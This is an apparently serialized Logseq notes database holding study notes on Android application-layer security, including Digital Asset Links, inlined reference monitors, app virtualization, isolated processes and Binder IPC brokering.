v2.0logseq____&quot;,536878000]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877984]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^@logseq____&quot;,false,536877984]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^Flogseq____&quot;,843,536877988]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^Xlogseq____&quot;,833,536877984]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^Vlogseq____&quot;,833,536877988]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^Ulogseq____&quot;,833,536877985]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878000]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878000]],[logseq____&quot;^15logseq____&quot;,[846,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4ea1-9a09-4486-8319-94bb4334a2f2logseq____&quot;,536877984]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Digital Asset Links for Androidlogseq____&quot;,536878041]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878022]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^@logseq____&quot;,false,536878022]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^Flogseq____&quot;,846,536878026]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^Xlogseq____&quot;,833,536878022]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^Vlogseq____&quot;,833,536878026]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^Ulogseq____&quot;,833,536878023]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878041]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878041]],[logseq____&quot;^15logseq____&quot;,[847,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4ef3-f942-4ebb-a139-dc26334aaba6logseq____&quot;,536878022]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Protocol and API enable an app or website to make verifiable statementslogseq____&quot;,536878054]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878041]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^@logseq____&quot;,false,536878041]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^Flogseq____&quot;,847,536878041]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^Xlogseq____&quot;,833,536878041]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^Vlogseq____&quot;,847,536878065]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^Ulogseq____&quot;,833,536878042]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878054]],[logseq____&quot;^15logseq____&quot;,[848,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4f50-ba21-4982-a039-58b1a5848e35logseq____&quot;,536878041]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Website can declare its app association with specific android app (file on webserver at some `/.well-known` location)logseq____&quot;,536878124]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878066]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^@logseq____&quot;,false,536878066]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^Flogseq____&quot;,848,536878073]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^Xlogseq____&quot;,833,536878066]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^Vlogseq____&quot;,847,536878073]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^Ulogseq____&quot;,833,536878067]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878124]],[logseq____&quot;^15logseq____&quot;,[850,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4f62-dea6-4126-9474-cc54a2a8b279logseq____&quot;,536878066]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Rejected if misconfigured, wrong path or not served via `https`logseq____&quot;,536878143]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878125]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^@logseq____&quot;,false,536878125]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^Flogseq____&quot;,850,536878125]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^Xlogseq____&quot;,833,536878125]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^Vlogseq____&quot;,847,536878125]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^Ulogseq____&quot;,833,536878126]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878143]],[logseq____&quot;^15logseq____&quot;,[851,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4f88-adcb-459f-8152-bca9bb5ac994logseq____&quot;,536878125]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Association can be configured in settingslogseq____&quot;,536878156]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878146]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^@logseq____&quot;,false,536878146]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^Flogseq____&quot;,851,536878146]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^Xlogseq____&quot;,833,536878146]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^Vlogseq____&quot;,847,536878146]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^Ulogseq____&quot;,833,536878147]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878156]],[logseq____&quot;^15logseq____&quot;,[852,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4fcc-0ca3-4fe4-be44-de30a6d61699logseq____&quot;,536878146]],[logseq____&quot;^15logseq____&quot;,[853,logseq____&quot;^12logseq____&quot;,2,536878160]],[logseq____&quot;^15logseq____&quot;,[854,logseq____&quot;^Klogseq____&quot;,1740470715390,536878163]],[logseq____&quot;^15logseq____&quot;,[854,logseq____&quot;^@logseq____&quot;,false,536878163]],[logseq____&quot;^15logseq____&quot;,[854,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;isolated executionlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[854,logseq____&quot;^11logseq____&quot;,logseq____&quot;Isolated Executionlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[854,logseq____&quot;^Blogseq____&quot;,1740473666898,536878600]],[logseq____&quot;^15logseq____&quot;,[854,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-c519-4db7-ac9f-44a425d9da35logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[855,logseq____&quot;^Klogseq____&quot;,1740470715389,536878163]],[logseq____&quot;^15logseq____&quot;,[855,logseq____&quot;^@logseq____&quot;,false,536878163]],[logseq____&quot;^15logseq____&quot;,[855,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;inlined reference monitorlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[855,logseq____&quot;^11logseq____&quot;,logseq____&quot;Inlined Reference Monitorlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[855,logseq____&quot;^Blogseq____&quot;,1740470715389,536878163]],[logseq____&quot;^15logseq____&quot;,[855,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-536b-40e4-abbb-36503637c32clogseq____&quot;,536878168]],[logseq____&quot;^15logseq____&quot;,[856,logseq____&quot;^Klogseq____&quot;,1740470715389,536878163]],[logseq____&quot;^15logseq____&quot;,[856,logseq____&quot;^@logseq____&quot;,false,536878163]],[logseq____&quot;^15logseq____&quot;,[856,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;compiler-based instrumentationlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[856,logseq____&quot;^11logseq____&quot;,logseq____&quot;Compiler-based Instrumentationlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[856,logseq____&quot;^Blogseq____&quot;,1740470715389,536878163]],[logseq____&quot;^15logseq____&quot;,[856,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-ed00-42b3-83d1-7c55e27d1e57logseq____&quot;,536878166]],[logseq____&quot;^15logseq____&quot;,[857,logseq____&quot;^Klogseq____&quot;,1740470715390,536878163]],[logseq____&quot;^15logseq____&quot;,[857,logseq____&quot;^@logseq____&quot;,false,536878163]],[logseq____&quot;^15logseq____&quot;,[857,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;app virtualizationlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[857,logseq____&quot;^11logseq____&quot;,logseq____&quot;App Virtualizationlogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[857,logseq____&quot;^Blogseq____&quot;,1740470715390,536878163]],[logseq____&quot;^15logseq____&quot;,[857,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-d8f2-4b86-8e6a-803e2a3e6a66logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Compiler-based Instrumentation]]logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Flogseq____&quot;,862,536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Xlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Vlogseq____&quot;,860,536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Ulogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Ulogseq____&quot;,856,536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^Hlogseq____&quot;,856,536878163]],[logseq____&quot;^15logseq____&quot;,[858,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-f994-4c58-beaa-7bb25db0e765logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Isolated Execution]]logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Flogseq____&quot;,864,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Xlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Vlogseq____&quot;,864,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Ulogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Ulogseq____&quot;,854,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^Hlogseq____&quot;,854,536878163]],[logseq____&quot;^15logseq____&quot;,[859,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-e58b-4328-9531-3671d989b5a8logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 6 - Application Layer Security Extensionslogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^Flogseq____&quot;,690,536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^Xlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^Vlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^Ulogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[860,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-2580-45a7-8b1e-906b541a6cf5logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[App Virtualization]]logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Flogseq____&quot;,858,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Xlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Vlogseq____&quot;,860,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Ulogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Ulogseq____&quot;,857,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^Hlogseq____&quot;,857,536878163]],[logseq____&quot;^15logseq____&quot;,[861,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-cf2b-4020-aff4-6e2aa00dbc0clogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Inlined Reference Monitor]]logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Flogseq____&quot;,860,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Xlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Vlogseq____&quot;,860,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Ulogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Ulogseq____&quot;,855,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^Hlogseq____&quot;,855,536878163]],[logseq____&quot;^15logseq____&quot;,[862,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-26f6-491f-916f-77ca2a682b60logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Vulnerabilities logseq____&amp; Attacks]]logseq____&quot;,536878607]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Flogseq____&quot;,859,536878163]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Xlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Vlogseq____&quot;,864,536878163]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Ulogseq____&quot;,296,536878608]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Ulogseq____&quot;,998,536878608]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878607]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878607]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^Hlogseq____&quot;,998,536878607]],[logseq____&quot;^15logseq____&quot;,[863,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-36d4-4641-85be-c3cd3674f6b9logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 7 - Hardware-Based Platform Securitylogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^Flogseq____&quot;,860,536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^Xlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^Vlogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^Ulogseq____&quot;,296,536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[864,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-2023-43d0-95b8-d1e9adf92432logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Isolated Processeslogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^Flogseq____&quot;,878,536878164]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^Vlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878164]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^Jlogseq____&quot;,[],536878164]],[logseq____&quot;^15logseq____&quot;,[866,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-20bb-4537-a68f-c0c83f83ecadlogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[867,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Restricted write to filesystemlogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[867,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[867,logseq____&quot;^Flogseq____&quot;,879,536878164]],[logseq____&quot;^15logseq____&quot;,[867,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[867,logseq____&quot;^Vlogseq____&quot;,881,536878164]],[logseq____&quot;^15logseq____&quot;,[867,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[867,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-cf2b-49f3-a685-e09c391dd1a9logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[868,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Baseline enforcement logseq____&amp; virtual system serviceslogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[868,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[868,logseq____&quot;^Flogseq____&quot;,875,536878164]],[logseq____&quot;^15logseq____&quot;,[868,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[868,logseq____&quot;^Vlogseq____&quot;,887,536878164]],[logseq____&quot;^15logseq____&quot;,[868,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[868,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-b41d-423b-9bef-85b3713a4ccblogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[869,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Easy to deploy (no firmware/application modification / root)logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[869,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[869,logseq____&quot;^Flogseq____&quot;,878,536878164]],[logseq____&quot;^15logseq____&quot;,[869,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[869,logseq____&quot;^Vlogseq____&quot;,878,536878164]],[logseq____&quot;^15logseq____&quot;,[869,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[869,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-82a6-45c1-860f-698b405d4ebblogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[870,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Zero permissions (no permissions assigned to UID)logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[870,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[870,logseq____&quot;^Flogseq____&quot;,881,536878164]],[logseq____&quot;^15logseq____&quot;,[870,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[870,logseq____&quot;^Vlogseq____&quot;,881,536878164]],[logseq____&quot;^15logseq____&quot;,[870,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[870,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-4444-4f77-8809-9b608f852d5elogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Limitslogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^Flogseq____&quot;,872,536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^Vlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^Jlogseq____&quot;,[],536878164]],[logseq____&quot;^15logseq____&quot;,[871,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-180a-42ab-a1d9-ad47afb79071logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Brokerlogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^Flogseq____&quot;,888,536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^Vlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^Jlogseq____&quot;,[],536878164]],[logseq____&quot;^15logseq____&quot;,[872,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-7ec7-4172-af15-3c6f1c00e691logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;IPC Shim: Divert [[Binder IPC]] to some brokerlogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^Flogseq____&quot;,888,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^Vlogseq____&quot;,888,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^Ulogseq____&quot;,413,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^Hlogseq____&quot;,413,536878164]],[logseq____&quot;^15logseq____&quot;,[873,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-efe2-473f-bea1-35bca01c33b4logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[874,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Strong security (protected reference monitor, failsafe defaults)logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[874,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[874,logseq____&quot;^Flogseq____&quot;,869,536878164]],[logseq____&quot;^15logseq____&quot;,[874,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[874,logseq____&quot;^Vlogseq____&quot;,878,536878164]],[logseq____&quot;^15logseq____&quot;,[874,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[874,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-24ee-4f87-8a49-e81bfee1e1c5logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[875,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Establishes compatibility between Android versionslogseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[875,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[875,logseq____&quot;^Flogseq____&quot;,887,536878164]],[logseq____&quot;^15logseq____&quot;,[875,logseq____&quot;^Xlogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[875,logseq____&quot;^Vlogseq____&quot;,887,536878164]],[logseq____&quot;^15logseq____&quot;,[875,logseq____&quot;^Ulogseq____&quot;,857,536878164]],[logseq____&quot;^15logseq____&quot;,[875,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-ad6b-488d-b045-e7447dfc6057logseq____&quot;,536878164]],[logseq____&quot;^15logseq____&quot;,[876,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Translates between Host and Android 